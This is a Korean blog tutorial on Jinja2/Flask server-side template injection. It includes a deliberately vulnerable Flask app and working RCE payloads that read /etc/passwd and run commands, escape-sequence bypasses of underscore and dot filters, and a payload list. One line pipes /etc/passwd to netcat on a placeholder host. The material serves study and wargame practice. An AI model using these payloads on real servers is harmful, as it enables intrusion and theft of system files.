Server Site Template Injection(SSTI)

H4C 워게임을 풀다가 SSTI에서 막혀버렸다. SSTI에 대해서는 잘 안다고 생각했는데, 문제 출제자가 거의 모든 키워드를 필터링 해 놓아서.. 어떻게 접근해야할지 감이 안온다..

Jinjja라는 문제인데..

https://h4ckingga.me/challenges#Season1%20:%20Jinjja-33

그래서 SSTI에 대해서 다시 공부해볼겸 겸사겸사 정리를 한번 해볼려고한다.


1. Server Side Template Injection(SSTI) 란 무엇인가?

어느 공부를 하든 같겠지만, 지금 내가 알고자 하는 것이 무엇인지 명확하게 아는것이 가장 중요하다.

SSTI를 번역해보자면, 서버에서 발생하는 템플릿 인젝션 공격이다.

그게 뭔소린가 싶을 수 있다. CSRF와 유사하다고 생각해볼수도 있다.

우선은 template engine이 무엇인지 부터 정리해보자.


2. Template Engine

동적인 웹페이지를 만드는데 사용하는 소프트웨어를 의미한다.

동적인 페이지? 그거 javascript 쓰면 되는거 아닌가요? 하는데 그건 반만 맞는소리다.

javascript는 어디까지나 client side에서 동작하는 언어다. 하지만 템플릿 엔진은 server side에서 동작한다.

쉽게 애기해보자면, ‘PHP 같은 것’ 이라 생각하면 되겠다.

옛날에는 웹 개발 환경에 apache, nginx, tomcat에 php 올리고 mysql 연동하는 APM이 대세였다면

지금은 python, go, ruby, java 등등 너무나도 많은 언어들이 웹 서버 기능을 지원하고 있다.

이러한 언어로 웹 서버 기능을 구현할 때 server side 로직을 동적으로 구성하기 위한 도구 또는 언어가 바로 템플릿 엔진이다.

템플릿 엔진도 종류가 굉장히 다양한데, GPT의 도움을 받아보자면 다음과 같이 정리가 가능하겠다.


순위템플릿 엔진주 언어대표 프레임워크 / 사용처
1Jinja2PythonFlask, Ansible, SaltStack
2Handlebars / MustacheJavaScriptExpress.js, Node.js, Ember.js
3TwigPHPSymfony, Drupal
4BladePHPLaravel
5EJS (Embedded JS)JavaScriptExpress.js
6ThymeleafJavaSpring Boot
7FreemarkerJavaApache, Spring, Confluence
8Pug (구 Jade)JavaScriptNode.js
9VelocityJavaLegacy Spring, Atlassian
10Go templates (text/template, html/template)GoGo web frameworks (Gin, Echo)

아무래도 jinja2 엔진이 가장 많이 사용되고, 또 그래서 워게임 문제도 거의 jinja2 엔진을 기반으로 한다.

그래서 이번 포스팅에서는 jinja 기반으로 정리를 해 보겠다.


3. SSTI 취약점 구현해보기

파이썬을 켜고 pip로 flask를 설치하자. 그런 다음 ssti.py 파일을 만든 후 아래 코드를 그대로 붙여넣고 실행하면 된다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    # 사용자 입력을 그대로 템플릿에 삽입하는 취약한 코드
    name = request.args.get('name', '')
    return render_template_string(f"Hello {name}!")  # 🔥 취약점 발생 지점

if __name__ == '__main__':
    app.run(debug=True)

실행은 python ssti.py 로 하면 된다.

웹을 잘 모르는 독자들을 위해 설명해보자면 현재 이 간단한 웹서버는 name 이라는 인자로 값을 받아서 출력하는 구조를 갖고있다.

한번 웹 브라우저를 열어 다음 요청을 날려보자

1
2
localhost:5000?name={{7*7}}
localhost:5000?name={{7*'7'}}

그러면 아래 그림처럼 7*7 이 출력되지 않고 7*7이 계산된 49 라는 값이 나올 것이다. 서버에서 이를 템플릿 코드로 인식해 실행하고 그 실행결과를 리턴한 것이다.

ssti 테스트


4. SSTI로 RCE 해보기

사실 위에서 한게 이미 RCE다. 여기서 말하는 RCE는 좀더 그럴듯한 공격행위라고 생각하자.

자 그럴듯한 공격행위를 음.. 설명하기전에 일단 때려보고 하자

필자는 다음과 같은 요청을 날렸다. 또는 /etc/passwd를 출력해도 된다.(나는 실제 사용 중인 맥북이라 이건 하지 않겠다)

아래 명령들을 한번 실행해보자.

1
2
http://localhost:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat /Users/ssti_flag').read()}}
http://localhost:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}

아마 다들 정상적으로 실행되었을 것이다.(안된다면 그대 실력 탓이다.)

ssti

자.. 저 길고 장황한 이상한 명령이 어째서 cat이라는 시스템 명령(바이너리)를 실행하는 것일까

이제 그 원리에 대해 파헤쳐보자.




5. SSTI 발생 원리

여러분들 프로그래밍 언어에 대해서 공부 했을거라 생각한다. 처음에 구문을 토큰화 하고(tokenizer), lexer와 parser를 통해 추상 구문 트리(AST)를 만들어 표현식을 평가한다.

템플릿 엔진도 같다. 중괄호({{ }}) 사이에 표현식이 들어가면 이를 동적인 계산식으로 인식한다.

웹 브라우저에 다음 요청을 날려보자

1
http://localhost:5000/?name={{config}}

뭔가 알 수 없는 글씨들이 출력될 것이다. 왜 이런 현상이 발생할까?


5-1. 전역 config 객체

자 위에서 작성했던 코드를 다시 보자.

1
2
    name = request.args.get('name', '')
    return render_template_string(f"Hello {name}!")  # 🔥 취약점 발생 지점

웹 요청을 받아서 name이라는 변수에 할당하고 이를 render_template_string으로 그대로 렌더링 하고있다.

이 때 우리는 config라는 문자열을 전달했고 jinja2 템플릿 엔진은 config라는 객체를 찾는데, 이것이 Flask의 전역 컨텍스트에 주입된 app.config다.

자 코드를 몇 줄 추가해보자

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    print("=== 직접 출력시작 ===")
    print(app.config)                # Config 객체 전체 출력
    print(type(app.config))          # <class 'flask.config.Config'>
    print("=== 직접 출력 끝 ===")
    name = request.args.get('name', '')
    return render_template_string(f"Hello {name}!")  # 🔥 취약점 발생 지점

if __name__ == '__main__':
    app.run(debug=True)

결과를 확인해보면

app 객체 정보 출력

위에서 {{config}} 요청을 날렸을 때와 같은 결과를 볼 수 있다.

여기서 한 가지 의문이 생겨야 한다. app.config가 단순히 Flask 내부 객체일 뿐인데 왜 {{ config }}처럼 템플릿 안에서 자동으로 접근 가능할까?

Flask가 내부적으로 Jinja2를 초기화할 때, 다음과 같은 전역 변수들을 자동으로 템플릿 환경에 등록하기 떄문이다.

1
2
3
4
5
6
7
8
9
# flask/app.py 일부
self.jinja_env.globals.update(
    url_for=url_for,
    get_flashed_messages=get_flashed_messages,
    config=self.config,
    request=request,
    session=session,
    g=g
)

즉, Flask는 앱 초기화 시점(Flask(name))에 Jinja 환경(jinja_env)을 만들고 그 안의 globals 딕셔너리에 config, request, session, url_for 등을 미리 넣는다. 이 덕분에 템플릿(.html, render_template_string)에서 바로 접근할 수 있게된다.

무슨 말인지 이해가 안된다면, 이번에는 코드를 좀 더 추가해보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    # 사용자 입력을 그대로 템플릿에 삽입하는 취약한 코드
    print("=== 직접 출력시작 ===")
    print(app.config)                # Config 객체 전체 출력
    print(type(app.config))          # <class 'flask.config.Config'>
    print(app.jinja_env.globals['config'])
    print(type(app.jinja_env.globals['config']))
    print("=== 직접 출력 끝 ===")
    name = request.args.get('name', '')
    return render_template_string(f"Hello {name}!")  # 🔥 취약점 발생 지점

if __name__ == '__main__':
    app.run(debug=True)

이렇게 작성하고 한 번 실행해보자.

jinja config

똑같은 내용이 두 번 출력되는 것을 볼 수 있다.

자 일단은 config 라는 객체가 전역으로 등록되어있다 라는 사실만 기억해도 좋다.

한 가지 더 기억하면 좋은 사실은, config가 단순 딕셔너리 형식의 데이터가 아니라 객체 라는 것이다.


5-2. __class__ 로 클래스 객체 리턴

이번엔 아래 요청을 날려보자

1
http://localhost:5000/?name={{config.__class__}}

아마도 <class ‘flask.config.Config’>! 이런 응답을 받았을 것이다.

먼저 결론부터 얘기하자면 __class__ 는 “이 객체가 어떤 클래스의 인스턴스인가?”를 반환한다. 여기서 중요한것은 단순 문자열만 리턴하는게 아니라 클래스 객체 자체를 리턴해준다는 것이다.

jinja 관점에서 자세하게 설명해보자면 {{ config.__class__ }}를 템플릿에서 평가하면 Jinja2는 config 이름으로 바인딩된 파이썬 객체의 __class__ 속성을 읽고, 그 객체(클래스)를 반환한다.

클래스 객체에는 내부적으로 여러가지 중요한 속성들을 가지고 있다.

•	__mro__ (메서드 탐색 순서)
•	__subclasses__() (현재 메모리에 로드된 모든 하위 클래스)
•	__dict__
•	__init__
•	메서드들
•	내부 필드
•	상속 관계 등등

따라서 이런 속성들을 연결해 임의 코드 실행이 가능한 것이다.

즉 요약해보자면, {{config.__class__}} 는 ‘전역으로 등록된 config 객체의 클래스 객체 를 리턴한다’ 라고 할 수 있다.


5-3. __init__

__init__ 는 클래스의 인스턴스를 초기화하는 initializer 이다.

즉, 어떤 클래스를 “호출해서 객체를 만들 때” 실행되는 메서드이며 따라서 {{config.__class__.__init__}} 을 실행하면 다음 과정이 수행된다.

  1. config: 전역으로 등록된 config 객체를 조회
  2. __class__: config가 어떤 객체인지, config 객체의 클래스를 리턴
  3. __init__: 리턴받은 config 객체의 클래스로 객체 생성

python의 객체(class)는 내부적으로 모두 object라는 객체(class)를 상속하게 되어있다.

그리고 object class에는 __init__, __mro__ 같은 메서드들이 작성되어있다.

참고로 python에서 메서드나 변수 앞뒤로 __ 가 들어간다면 외부에서 호출 불가능한 내부 함수라는 의미다.

아무튼, 그래서 이제 config의 객체까지 생성이 되었다.

상속에 대해 좀 더 상세하게 알고싶으면 다음 요청을 브라우저에 날려보라

1
http://localhost:5000/?name={{config.__class__.__mro__}}

그러면 Hello (<class ‘flask.config.Config’>, <class ‘dict’>, <class ‘object’>)! 가 출력되고, object 클래스를 상속하고 있음을 알 수 있다.


5-4. __globals__

__globals__는 Python에서 **객체(function)마다 하나씩 들고 있는 “전역 네임스페이스 딕셔너리”**다. 쉽게 얘기하자면 그 어떤 객체가 “어느 모듈의 전역 공간에서 정의됐는지”에 대한 다양한 정보들을 dict 형태로 저장한다.

모듈의 경로, 객체 이름, import 하는 모듈 등 다양한 정보들이 있는데 여기서 우리는 import 하는 모듈 이 부분에 집중할 필요가 있다.


5-5. os 모듈

자 거의 다 왔다. __globals__를 통해 config 객체가 import 중인 모듈 객체에 까지 접근이 가능하게 되었다.

여기서 자주 사용되는 것이 바로 os 모듈인데, 아마 여러분들 python에서 os 모듈을 많이 사용해보았을 것이다. 그것과 정확하게 같다.

찾는 방법도 정말 쉽다. 그냥 os 문자열을 찾아보자. 있다면 사용할 수 있는 것이다.

os

자 이제 처음 날린 요청을 한 번 다시 보자

1
http://localhost:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}

이런 요청이다. __globals__에서 ‘os’ 모듈을 찾고 os 모듈의 popen 함수를 사용해 파일을 출력하고 읽어온다.

jinja 템플릿 엔진은 삽입된 코드에 대해서 사용자 입력 검증과정 없이 그대로 코드 실행 후 렌더링 해버리는 것이다.


5-6. 다양한 SSTI 구문들

위에서 사용한 SSTI 공격 구문 말고도 다양한 공격 구문이 존재한다. 대표적으로 str 클래스와 mro, subclasses를 이용한 방식인데 subclass 까지 실행하면 다음과 같은 정보를 볼 수 있다.

subclass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
http://localhost:5000/?name={{''.__class__.__base__.__subclasses__()[531]('id', shell=True, stdout=-1).communicate()[0] }}

http://localhost:5000/?name={{''.__class__.__base__[0].__subclasses__()[531]('id', shell=True, stdout=-1).communicate()[0] }}

http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[531]('id', shell=True, stdout=-1).communicate()[0] }}

http://localhost:5000/?name={{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

# 이건 상황에 따라 가능
{{ __import__('os').popen('id').read() }}

대괄호 안의 숫자는 상황에따라 바뀔 수 있다. 다음을 참고해서 위 페이로드를 한 번 분석해보자.

속성의미반환값계층 구조 탐색
__base__단일 상속일 때 “직접 부모 클래스”하나의 클래스한 단계 위만
__bases__클래스의 모든 부모 클래스튜플다중 상속 구조
__mro__MRO (Method Resolution Order) 전체 상속 순서튜플최상위 클래스까지 전체 상속 계층

6. SSTI 취약점을 트리거하기 위해 필요한 구성요소

지금까지 SSTI에 대해서 설명했는데, 이 이후로는 페이롣 응용일 뿐이다. 기본 원리는 거의 설명했다. 그래서 SSTI 를 트리거하기 위한 조건을 짚고 넘어가보자

  1. 임의 코드를 실행할 수 있는 객체 • subprocess.Popen (shell 명령 실행) • os.system, os.popen (모듈 기반) • eval, exec 같은 함수 접근 (조합형)

  2. 또는 그런 것들을 다시 가져올 수 있는 발판 • runpy, multiprocessing, importlib, ctypes, pickle 등


7. SSTI 취약점 필터 추가해보기

SSTI 공격을 막으려면 어떤 방법들을 사용해볼 수 있을까?

제일 먼저 드는 생각은 사용자 입력을 검증 해 보는 것이다.


7-1. 언더바(_) 필터링

언더바(_) 사용을 막으면 취약점을 통제할 수 있을것 같다. 필터링 코드를 추가해보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from flask import Flask, request, render_template_string
import re

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    name = request.args.get('name', '')
    name = re.sub('_', '', name) # 사용자 입력에서 언더바(_) 필터링
    return render_template_string(f"Hello {name}!")

if __name__ == '__main__':
    app.run(debug=True)

자 이렇게 하자 이전에 사용했던 코드는 동작하지 않는다. 하지만 아스키 코드가 등작하면 어떨까?

다음과 같이 말이다.

1
http://localhost:5000/?name={{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']()[531]('cat /Users/ssti\x5fflag', shell=true, stdout=-1).communicate()[0] }}

언더바를 대체할 수 있는 표현은 다음과 같다.

분류
\x5fascii hex
\137ascii oct
\u005F16bit Unicode
\U0000005F32bit Unicode

즉 위의 예외사항들도 모두 적절하게 필터링 해 주는 것이 맞다 할 수 있겠다.


7-2. 닷(.) 필터링

언더바 필터링에 추가로 닷(.) 필터링도 걸어보자. 그리고 코드를 좀 더 깔금하게 고쳐볼거다.

이제 필터에 걸리면 필터링 되었다고 알려주도록 했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from flask import Flask, request, render_template_string
import re

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    name = request.args.get('name', '')

    filter = re.findall(r"_|\.",name)
    if filter:
    	return render_template_string(f'{filter} is filtered')

    return render_template_string(f"Hello {name}!")

if __name__ == '__main__':
    app.run(debug=True)

닷(.) 또한 아스키 표현식으로 우회가 가능할까? 답은 불가능하다 이다. 언더바(_)와 같이 문자열 리터럴이 아니기 때문이다.

대신

1
http://localhost:5000/?name={{config[%27\x5f\x5fclass\x5f\x5f%27]|attr(%27\x5f\x5finit\x5f\x5f%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)}}

다양한 페이로드들

1
2
3
4
5
6
7
8
9
{% if 'chiv' == 'chiv' %} a {% endif %}

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() == 'chiv\n' %} a {% endif %}

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' %} a {% endif %}

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd | nc HOSTNAME 1337')['read']() == 'chiv' %} a {% endif %}

{{self.__dict__[dict].__class__.__mro__[1].__subclasses__()}}

여담..

글쓴다고 페이로드를 찾아보다 보니 이건 무슨 xss를 보는 느낌이다. 별의 별 페이로드가..